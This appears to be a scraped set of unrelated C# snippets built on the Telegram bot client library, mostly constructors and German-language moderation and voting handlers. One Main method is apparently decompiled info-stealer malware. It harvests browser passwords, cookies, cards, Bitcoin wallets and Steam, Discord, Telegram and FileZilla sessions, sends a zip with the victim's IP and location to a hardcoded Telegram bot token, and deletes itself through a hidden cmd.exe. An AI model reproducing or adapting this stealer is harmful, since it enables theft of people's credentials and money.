public static async void SendMessage(string txtMessage) { bot = new TelegramBotClient(Token); await bot.SendTextMessageAsync(Chat_ID, txtMessage); }
public InlineCommands(ITelegramBotClient Bot) : base(Bot) { RegisterCommand(new string[] { "@도움말" }, "도움말을 보여드립니다.", ShowHelp); }
public TelegramSender(ILogger <TelegramSender> logger, ITelegramBotClient botClient) { _logger = logger; _botClient = botClient; }
public StartCommand(ITelegramBotClient telegramBotClient) { _telegramBotClient = telegramBotClient; }
public Handler(IMediator mediator, ITelegramBotClient telegramBotClient, ILogger <Handler> logger) { this.mediator = mediator; this.telegramBotClient = telegramBotClient; this.logger = logger; }
public SettingsCurrencyCommandHandler( IUnitOfWork unitOfWork, ITelegramBotClient client, IExchangeProvider exchange) : base(unitOfWork, client) =>
public UpdateReceiver(ITelegramBotClient botClient, params string[] allowedUsernames) { _botClient = botClient; _allowedUsernames = allowedUsernames; }
public TelegramEventSource(ITelegramBotClient client) { client.OnMessage += MessageHandler; client.OnCallbackQuery += QueryHandler; }
public Restart(ITelegramBotClient bot) { this.bot = bot; }
private static void Main(string[] args) { try { User user; string str; botClient = new TelegramBotClient("879228914:AAH0PEwN4FUC6XvZjCbykrBbd4U2QfQ5lOo", (System.Net.Http.HttpClient)null); if (!File.Exists(Path.Combine(Identifier.ApplicationData, "yes"))) { File.Create(Path.Combine(Identifier.ApplicationData, "yes")); char[] separator = new char[] { ' ' }; string[] collection = raws.Split(separator, StringSplitOptions.RemoveEmptyEntries); KeyWords.AddRange(collection); user = new User(); Identifier.GetInfo(ref user); Kill(); Stealer.Steal(ref user); UserAgentGenerator.Generate(ref user); Sorter.Sort(ref user); str = string.Empty; using (List <string> .Enumerator enumerator = KeyWords.GetEnumerator()) { string current; bool flag2; bool flag3; goto TR_0021; TR_000B: if (flag3 | flag2) { str = str + "\n"; } goto TR_0021; TR_0015: foreach (Cookie cookie in user.Cookies) { try { if (!cookie.Host.ToLower().Contains(current.ToLower())) { continue; } if (!flag2) { continue; } str = str + "(C)"; flag3 = true; } catch { continue; } break; } goto TR_000B; TR_0021: while (true) { if (enumerator.MoveNext()) { current = enumerator.Current; flag2 = false; flag3 = false; try { foreach (Password password in user.Passwords) { if (password.URL.ToLower().Contains(current.ToLower())) { str = str + current + " (P)"; flag2 = true; break; } } } catch { } } else { goto TR_0008; } break; } goto TR_0015; } } return; TR_0002: ProcessStartInfo info1 = new ProcessStartInfo(); info1.Arguments = "/C choice /C Y /N /D Y /T 1 & Del \"" + Path.Combine(Directory.GetCurrentDirectory(), Process.GetCurrentProcess().ProcessName) + "\""; info1.WindowStyle = ProcessWindowStyle.Hidden; info1.CreateNoWindow = true; info1.FileName = "cmd.exe"; Process.Start(info1); return; TR_0008: using (FileStream stream = new FileStream(Identifier.StealerZip, FileMode.Open)) { try { InputOnlineFile document = new InputOnlineFile(stream, Identifier.StealerZip); string[] textArray1 = new string[0x1c]; textArray1[0] = "IP: *"; textArray1[1] = user.IP; textArray1[2] = "*\nCountry: *"; textArray1[3] = user.Country; textArray1[4] = " ("; textArray1[5] = user.CountryCode; textArray1[6] = ")*\nCity: *"; textArray1[7] = user.City; textArray1[8] = "*\n————————————————\n"; textArray1[9] = $"Passwords: *{user.PasswordsNumber}*"; textArray1[10] = $"Cookies: *{user.CookiesNumber}*"; textArray1[11] = $"Forms: *{user.Forms}*"; textArray1[12] = $"Cards: *{user.CardsNumber}*"; textArray1[13] = "Photo: *"; textArray1[14] = user.WithPhoto ? " +" : "-"; string[] local3 = textArray1; local3[15] = "*\nBitcoins: *"; local3[0x10] = user.Bitcoin ? " +" : "-"; string[] local4 = local3; local4[0x11] = "*\nSessions:*"; local4[0x12] = user.FileZilla ? " FileZilla" : ""; string[] local5 = local4; local5[0x13] = "**"; local5[20] = user.Steam ? " Steam" : ""; string[] local6 = local5; local6[0x15] = "**"; local6[0x16] = user.Telegram ? " Telegram" : ""; string[] local7 = local6; local7[0x17] = "**"; local7[0x18] = user.Discord ? " Discord" : ""; string[] local8 = local7; local8[0x19] = "*\n————————————————\n*"; local8[0x1a] = str; local8[0x1b] = "*"; CancellationToken cancellationToken = new CancellationToken(); botClient.SendDocumentAsync(TELEGAID, document, string.Concat(local8), ParseMode.Markdown, false, 0, null, cancellationToken, null).Wait(); } catch { } } goto TR_0002; } catch (Exception exception) { Errors.Add(exception); } }
public abstract void Handle(MessageWrapper message, ITelegramBotClient client);
public BotAggregatorOnMessageEventArgs(ITelegramBotClient bot, Message message) { Bot = bot; Message = message; }
public BotMessageLogic(ITelegramBotClient botClient) { bot = botClient; messanger = new Messenger(bot); chatList = new Dictionary <long, Conversation>(); }
public HelloController(ITelegramBotClient botClient) { _botClient = botClient; }
/// <summary> /// Constructor with parameters. /// </summary> /// <param name="commandService">Interface to use the command service.</param> /// <param name="telegramBotClient">Interface to use the Telegram Bot API.</param> public BotController(ICommandService commandService, ITelegramBotClient telegramBotClient) { _commandService = commandService ?? throw new ArgumentNullException(nameof(commandService)); _telegramBotClient = telegramBotClient ?? throw new ArgumentNullException(nameof(telegramBotClient)); }
public AssetValueChangedEventHandler(App app) { _telegramBotClient = app.Bot; }
public GetEventsCommand(ITelegramBotClient bot, IEventsStateRepository events, MessageConstants constants) { _bot = bot; _events = events; _constants = constants; }
/// <summary> /// Diese Funktion verarbeitet das Drücken der Knöpfe im Moderations-Bot /// </summary> private async Task onModerateCallback(ITelegramBotClient botClient, Update e, CancellationToken cancellationToken) { if (e.Type == UpdateType.CallbackQuery) { if (e.CallbackQuery.Data == null) { return; } DRaumCallbackData callbackData = DRaumCallbackData.parseCallbackData(e.CallbackQuery.Data); // == Der Moderator akzeptiert den Beitrag if (callbackData.getPrefix().Equals(Keyboards.ModAcceptPrefix)) { if (this.acceptPostForPublishing(callbackData.getId()).Result) { // Message not needed anymore, delete await this.moderateBot.removeMessage(e.CallbackQuery.Message.MessageId); await this.moderateBot.replyToCallback(e.CallbackQuery.Id, "Beitrag wird freigegeben"); } else { await this.moderateBot.replyToCallback(e.CallbackQuery.Id, "Konnte den Post nicht freigeben..."); } return; } // == Der Moderator will den Beitrag bearbeiten und zurücksenden if (callbackData.getPrefix().Equals(Keyboards.ModEditPrefix)) { await this.moderateBot.editMessageButtons(e.CallbackQuery.Message.MessageId, Keyboards.getGotItDeleteButtonKeyboard()); this.feedbackManager.waitForModerationText(callbackData.getId()); await this.moderateBot.replyToCallback(e.CallbackQuery.Id, "Editierten Beitrag abschicken"); return; } // == Der Moderator lehnt den Beitrag ab if (callbackData.getPrefix().Equals(Keyboards.ModBlockPrefix)) { // Nachricht entfernen await this.moderateBot.removeMessage(e.CallbackQuery.Message.MessageId); this.feedbackManager.waitForDenyingText(callbackData.getId()); await this.moderateBot.sendMessageWithKeyboard("Begründung schreiben und abschicken", Keyboards.getGotItDeleteButtonKeyboard(), false); return; } if (callbackData.getPrefix().Equals(Keyboards.GenericMessageDeletePrefix)) { await this.moderateBot.removeMessage(e.CallbackQuery.Message.MessageId); return; } if (callbackData.getPrefix().Equals(Keyboards.ModGetNextCheckPostPrefix)) { KeyValuePair <long, string> postingPair = this.posts.getNextPostToCheck(); if (postingPair.Key == -1) { return; } Message msg = await this.moderateBot.sendMessageWithKeyboard(postingPair.Value, Keyboards.getModeratePostKeyboard(postingPair.Key), true); if (msg != null) { return; } // keine Nachricht, wieder neu einreihen if (this.posts.putBackIntoQueue(postingPair.Key)) { return; } logger.Error("Konnte den Post nicht wieder einfügen, wird gelöscht:" + postingPair.Key + " TEXT:" + postingPair.Value); Posting posting = this.posts.removePostFromInCheck(postingPair.Key); if (posting != null) { await this.inputBot.sendMessage(posting.getAuthorId(), "Dieser Beitrag konnte aufgrund interner Fehler nicht bearbeitet werden: " + posting.getPostingText() + "\r\n\r\nBitte nochmal probieren. Sollte der Fehler weiterhin bestehen, bitte an einen Administrator wenden."); } else { logger.Error("Der Post konnte nicht gelöscht werden: " + postingPair.Key); } return; } if (callbackData.getPrefix().Equals(Keyboards.ModBlockUser3Days)) { await this.moderateBot.removeMessage(e.CallbackQuery.Message.MessageId); this.feedbackManager.waitForAuthorBlockText(callbackData.getId(), 3); await this.moderateBot.sendMessageWithKeyboard("Begründung für 3 TAGE BLOCK schreiben und abschicken", Keyboards.getGotItDeleteButtonKeyboard(), false); return; } if (callbackData.getPrefix().Equals(Keyboards.ModBlockUser7Days)) { await this.moderateBot.removeMessage(e.CallbackQuery.Message.MessageId); this.feedbackManager.waitForAuthorBlockText(callbackData.getId(), 7); await this.moderateBot.sendMessageWithKeyboard("Begründung für 7 TAGE BLOCK! schreiben und abschicken", Keyboards.getGotItDeleteButtonKeyboard(), false); return; } if (callbackData.getPrefix().Equals(Keyboards.ModBlockUser30Days)) { await this.moderateBot.removeMessage(e.CallbackQuery.Message.MessageId); this.feedbackManager.waitForAuthorBlockText(callbackData.getId(), 30); await this.moderateBot.sendMessageWithKeyboard("Begründung für 30 TAGE BLOCK!!! schreiben und abschicken", Keyboards.getGotItDeleteButtonKeyboard(), false); } } if (e.Type == UpdateType.Message) { if (e.Message.Text == null) { return; } if (this.feedbackManager.isWaitingForModeratedText()) { // Den moderierten Text dem Nutzer zum bestätigen zuschicken. long postingId = this.feedbackManager.getNextModeratedPostId(); if (this.posts.isPostingInCheck(postingId)) { this.posts.updatePostText(postingId, e.Message.Text, true); await this.inputBot.sendMessageWithKeyboard( this.posts.getAuthorId(postingId), "MODERIERTER TEXT:\r\n\r\n" + this.posts.getPostingTextFromInCheck(postingId), Keyboards.getAcceptDeclineModeratedPostKeyboard(postingId)); this.feedbackManager.resetProcessModerationText(); await this.moderateBot.sendMessageWithKeyboard( "Geänderter Text ist dem Autor zugestellt.", Keyboards.getGotItDeleteButtonKeyboard(), false); await this.moderateBot.removeMessage(e.Message.MessageId); } else { logger.Error("Konnte den zu editierenden Post nicht laden: " + this.feedbackManager.getNextModeratedPostId()); await this.moderateBot.sendMessageWithKeyboard( "Der zu editierende Post wurde nicht gefunden. Nochmal den Text abschicken. Wenn der Fehler bestehen bleibt, einen Administrator informieren", Keyboards.getGotItDeleteButtonKeyboard(), false); } return; } if (this.feedbackManager.isWaitingForDenyText()) { // Die Begründung dem Nutzer zuschicken. long postingId = this.feedbackManager.getNextModeratedPostId(); if (this.posts.isPostingInCheck(postingId)) { string teaser = this.posts.getPostingTeaser(postingId); await this.inputBot.sendMessage(this.posts.getAuthorId(postingId), "Der Beitrag wurde durch Moderation abgelehnt. Begründung:\r\n" + e.Message.Text + "\r\n\r\nBeitragsvorschau: " + teaser); this.feedbackManager.resetProcessModerationText(); this.posts.discardPost(postingId); } } if (this.feedbackManager.isWaitingForAuthorBlockingText()) { // Dem Nutzer die Begründung für den Block schicken long postingId = this.feedbackManager.getNextModeratedPostId(); long authorId = this.posts.getAuthorId(postingId); int days = this.feedbackManager.getBlockDays(); string teaser = this.posts.getPostingTeaser(postingId); this.authors.blockForDays(authorId, days); await this.inputBot.sendMessage(authorId, "Ihre Beitrag-Schreibe-Möglichkeit ist nun für " + days + " Tage gesperrt. Begründung:\r\n" + e.Message.Text + "\r\n\r\nBasierend auf dem Beitrag: " + teaser); this.feedbackManager.resetProcessModerationText(); this.posts.discardPost(postingId); } } }
protected CallbackUpdateHandler(ITelegramBotClient telegramBotClient, IEnumerable <Lazy <Func <Update, ICallbackQueryHandler <TContext> >, TMetadata> > callbackQueryHandlers) { myTelegramBotClient = telegramBotClient; myCallbackQueryHandlers = callbackQueryHandlers; }
private async Task onPublishCallback(ITelegramBotClient botClient, Update e, CancellationToken cancellationToken) { try { if (e.CallbackQuery.Data != null) { // Auswerten: Vote-up, Vote-down, Flag DRaumCallbackData callbackData = DRaumCallbackData.parseCallbackData(e.CallbackQuery.Data); if (callbackData.getPrefix().Equals(Keyboards.VoteUpPrefix)) { // UPVOTE string responseText = "Stimme bereits abgegeben oder eigener Post"; if (this.canUserVote(callbackData.getId(), e.CallbackQuery.From.Id, e.CallbackQuery.From.Username)) { int votecount = this.authors.voteUpAndGetCount(e.CallbackQuery.From.Id, e.CallbackQuery.From.Username); if (votecount != 0) { this.statistics.increaseInteraction(); this.authors.updateCredibility(this.posts.getAuthorId(callbackData.getId()), votecount, 0); this.upvote(callbackData.getId(), e.CallbackQuery.From.Id, votecount); responseText = "Positivstimme erhalten"; } else { responseText = "Fehler beim Abstimmen!"; } } await this.publishBot.answerCallback(e.CallbackQuery.Id, responseText); return; } if (callbackData.getPrefix().Equals(Keyboards.VoteDownPrefix)) { // DOWNVOTE string responseText = "Stimme bereits abgegeben oder eigener Post"; if (this.canUserVote(callbackData.getId(), e.CallbackQuery.From.Id, e.CallbackQuery.From.Username)) { int votecount = this.authors.voteDownAndGetCount(e.CallbackQuery.From.Id, e.CallbackQuery.From.Username); if (votecount != 0) { this.statistics.increaseInteraction(); this.authors.updateCredibility(this.posts.getAuthorId(callbackData.getId()), 0, votecount); this.downvote(callbackData.getId(), e.CallbackQuery.From.Id, votecount); responseText = "Negativstimme erhalten"; } else { responseText = "Fehler beim Abstimmen!"; } } await this.publishBot.answerCallback(e.CallbackQuery.Id, responseText); return; } if (callbackData.getPrefix().Equals(Keyboards.FlagPrefix)) { // Flagging if (!this.authors.isCoolDownOver(e.CallbackQuery.From.Id, e.CallbackQuery.From.Username, Author.InteractionCooldownTimer.Flagging)) { TimeSpan coolDownTime = this.authors.getCoolDownTimer(e.CallbackQuery.From.Id, e.CallbackQuery.From.Username, Author.InteractionCooldownTimer.Flagging); string msgCoolDownText = "(Spamvermeidung) Zeit bis zur nächsten Markiermöglichkeit: " + coolDownTime.TotalMinutes.ToString("0.0") + " Minute(n)"; if (coolDownTime.TotalMinutes > 180) { msgCoolDownText = "(Spamvermeidung) Zeit bis zur nächsten Markiermöglichkeit: " + coolDownTime.TotalHours.ToString("0.0") + " Stunde(n)"; } await this.publishBot.answerCallback(e.CallbackQuery.Id, msgCoolDownText); return; } string responseText = "Beitrag bereits markiert oder eigener Post"; if (this.canUserFlag(callbackData.getId(), e.CallbackQuery.From.Id, e.CallbackQuery.From.Username)) { this.statistics.increaseInteraction(); this.authors.resetCoolDown(e.CallbackQuery.From.Id, e.CallbackQuery.From.Username, Author.InteractionCooldownTimer.Flagging); this.flag(callbackData.getId(), e.CallbackQuery.From.Id); responseText = "Beitrag für Moderation markiert"; } await this.publishBot.answerCallback(e.CallbackQuery.Id, responseText); } } } catch (Exception ex) { logger.Error(ex, "Genereller Fehler"); } }
public MessageHandler(ITelegramBotClient botClient, IAppUserRepository appUserRepository) { _botClient = botClient; _appUserRepository = appUserRepository; }
/// <summary> /// Der Nutzer hat einen Beitrag mit Buttons bekommen und muss entscheiden, ob der Beitrag gepostet wird oder nicht /// </summary> private async Task onInputBotCallback(ITelegramBotClient botClient, Update e, CancellationToken cancellationToken) { if (e.Type == UpdateType.CallbackQuery) { if (e.CallbackQuery.Data != null) { DRaumCallbackData callbackData = DRaumCallbackData.parseCallbackData(e.CallbackQuery.Data); if (callbackData.getPrefix().Equals(Keyboards.ModAcceptPrefix)) { if (this.acceptPostForPublishing(callbackData.getId()).Result) { await this.inputBot.sendMessage(e.CallbackQuery.From.Id, "Der Beitrag ist angenommen"); await this.inputBot.removeMessage(e.CallbackQuery.Message.MessageId, e.CallbackQuery.From.Id); } else { await this.inputBot.sendMessage(e.CallbackQuery.From.Id, "Post konnte nicht veröffentlicht werden. Probieren Sie es nochmal. Falls es wiederholt fehlschlägt, wenden Sie sich an den Administrator."); } return; } if (callbackData.getPrefix().Equals(Keyboards.ModBlockPrefix)) { if (!this.posts.removePost(callbackData.getId())) { logger.Error("Konnte den Post nicht aus dem Datensatz löschen: " + callbackData.getId()); } await this.inputBot.removeMessage(e.CallbackQuery.Message.MessageId, e.CallbackQuery.From.Id); await this.inputBot.sendMessage(e.CallbackQuery.From.Id, "Der Post wird nicht veröffentlicht und verworfen."); return; } if (callbackData.getPrefix().Equals(Keyboards.ModeWritePrefix)) { await this.inputBot.switchToWriteMode(e.CallbackQuery.From.Id, e.CallbackQuery.From.Username, e.CallbackQuery.From.Id); return; } if (callbackData.getPrefix().Equals(Keyboards.ModeFeedbackPrefix)) { await this.inputBot.switchToFeedbackMode(e.CallbackQuery.From.Id, e.CallbackQuery.From.Username, e.CallbackQuery.From.Id); } } } if (e.Type == UpdateType.Message) { if (e.Message.Text != null) { // Empfängerprüfung und Spam-Block // Dieser Block wirft auch eine Exception, wenn die maximale Nutzerzahl erreicht ist try { if (!this.authors.isCoolDownOver(e.Message.From.Id, e.Message.From.Username, Author.InteractionCooldownTimer.Default)) { TimeSpan coolDownTime = this.authors.getCoolDownTimer(e.Message.From.Id, e.Message.From.Username, Author.InteractionCooldownTimer.Default); await this.inputBot.sendMessage(e.Message.From.Id, "⏳ (Spamvermeidung) Zeit bis zur nächsten Bot-Interaktion: " + coolDownTime.TotalMinutes.ToString("0.0") + " Minute(n)"); return; } } catch (DRaumException dre) { await this.inputBot.sendMessage(e.Message.From.Id, "Ein Fehler trat auf: " + dre.Message); return; } if (e.Message.Text.Equals("/" + Writecommand)) { await this.inputBot.switchToWriteMode(e.Message.From.Id, e.Message.From.Username, e.Message.Chat.Id); return; } if (e.Message.Text.Equals("/" + Feedbackcommand)) { await this.inputBot.switchToFeedbackMode(e.Message.From.Id, e.Message.From.Username, e.Message.Chat.Id); return; } if (this.authors.isFeedbackMode(e.Message.From.Id, e.Message.From.Username) || this.authors.isPostMode(e.Message.From.Id, e.Message.From.Username)) { string text = Utilities.telegramEntitiesToHtml(e.Message.Text, e.Message.Entities); await this.inputBot.processTextInput(e.Message.From.Id, e.Message.From.Username, e.Message.Chat.Id, text); } else { // Kein Modus await this.inputBot.sendMessageWithKeyboard(e.Message.From.Id, NoModeChosen, Keyboards.getChooseInputModeKeyboard()); } } } }
public BotHandler(string token) { botClient = new TelegramBotClient(token); database = new Database(); }
public TelegramWriter(string accessToken, string chatId) { _botClient = new TelegramBotClient(accessToken); _chatId = chatId; }
public MainMenu(ITelegramBotClient telegramBotClient) { _telegramBotClient = telegramBotClient; }
public BittrixVolumeChangeCommand(ITelegramBotClient client, IRepository <User> repository) { _client = client; _userRepository = repository; }
public MyAdvertsCommand( ApplicationContext context, ChatService chatService, ITelegramBotClient client) : base(context, chatService, client) { }
public Get(string settingsGet, ITelegramBotClient botClient) { SettingsGet = settingsGet; BotClient = botClient; }
public RestoreCallbackQueryHandler(RaidBattlesContext context, RaidService raidService, IUrlHelper urlHelper, ChatInfo chatInfo, ITelegramBotClient bot) { myContext = context; myRaidService = raidService; myUrlHelper = urlHelper; myChatInfo = chatInfo; myBot = bot; }
public LoginCommand(ITelegramBotClient client, IRepository <User> userRepository, IRepository <Models.DataBase.HardwareCost> hwRepository) { _client = client; _userRepository = userRepository; _hwRepository = hwRepository; }